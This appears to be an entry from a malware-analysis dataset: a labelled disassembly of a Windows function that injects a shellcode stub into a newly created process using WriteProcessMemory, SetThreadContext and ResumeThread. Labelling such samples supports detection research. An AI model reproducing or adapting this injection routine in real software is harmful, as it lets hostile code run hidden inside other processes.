Function at 0x404390
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x59c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_OpenFile]
push 0x4000
lea eax, [esp + 0x254]
mov esi, ecx
push eax
xor ebx, ebx
push esi
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], ebx
call edi
cmp eax, 0xffffffff
jne 0x4043d4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov edx, dword [ebp + 0xc]
push 0x4000
lea ecx, [esp + 0x254]
push ecx
push edx
call edi
cmp eax, 0xffffffff
jne 0x4043fa
mov eax, 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push str.kernel32
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x10], ebx
mov ebx, dword [ebp + 0x10]
mov ecx, ebx
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
push ebx
mov dword [ecx + 0xc], eax
mov ecx, 0x11
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x2c]
push edx
push eax
push 0
push 0x24
push 0
push 0
push 0
push ecx
push esi
mov dword [esp + 0x50], 0x44
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x40446b
mov dword [esp + 0x10], 3
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
mov ecx, 0xb3
lea edi, [esp + 0x2d8]
rep stosd dword es:[edi], eax
mov eax, dword [ebx + 4]
lea edx, [esp + 0x2d8]
push edx
push eax
mov dword [esp + 0x2e0], 0x10001
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov eax, dword [0x41c150]
test eax, eax
jns 0x4044b5
lea ecx, [esp + 0x18]
push ecx
push 0x1df
call fcn.00404300
add esp, 8
jmp 0x4044e0
mov edx, dword [esp + 0x14]
push 0x414320
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x40466c
mov ecx, dword [ebx]
push 0x40
push 0x101000
push 0x1df
push 0
push ecx
call eax
mov esi, eax
test esi, esi
jne 0x4044fb
mov dword [esp + 0x10], 4
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebx]
lea edx, [esp + 0x20]
push edx
push 0x40
push 0x1df
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
test eax, eax
jne 0x404522
mov dword [esp + 0x10], 5
jmp 0x404617
mov ecx, 0x77
mov eax, 0x90909090
lea edi, [esp + 0x70]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [esi + 0x5b]
mov dword [esp + 0x7a], ecx
mov ecx, dword [esp + 0x14]
mov edx, 0x414310
mov byte [esp + 0x78], 0x60
mov byte [esp + 0x79], 0x68
mov byte [esp + 0x7e], 0xb8
call fcn.00404be0
mov edx, dword [esp + 0x390]
mov dword [esp + 0x7f], eax
mov eax, dword [ebp + 0xc]
push 0x183
sub edx, esi
push eax
lea ecx, [esp + 0xd3]
sub edx, 0x1b
push ecx
mov word [esp + 0x8f], 0xd0ff
mov byte [esp + 0x91], 0x61
mov byte [esp + 0x92], 0xe9
mov dword [esp + 0x93], edx
call fcn.0040ade0
mov ecx, dword [ebx]
add esp, 0xc
lea edx, [esp + 0x24]
push edx
push 0x1df
lea eax, [esp + 0x78]
push eax
push esi
push ecx
mov byte [esp + 0x262], 0
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
jne 0x4045d2
mov dword [esp + 0x10], 6
jmp 0x404617
mov edx, dword [ebx]
push 0x1df
push esi
push edx
call dword [sym.imp.KERNEL32.DLL_FlushInstructionCache]
mov ecx, dword [ebx + 4]
lea eax, [esp + 0x2d8]
push eax
push ecx
mov dword [esp + 0x2e0], 0x10001
mov dword [esp + 0x398], esi
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
mov edx, dword [ebx + 4]
push edx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [0x41c150]
test eax, eax
jns 0x40463b
mov eax, dword [esp + 0x18]
push eax
push esi
call fcn.00404340
mov eax, dword [esp + 0x18]
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [esp + 0x14]
push 0x414300
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x40466c
mov edx, dword [ebx]
push 0x8000
push 0x1df
push esi
push edx
call eax
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
pop edi
mov dword [esp + 0xc], 7
mov eax, dword [esp + 0xc]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10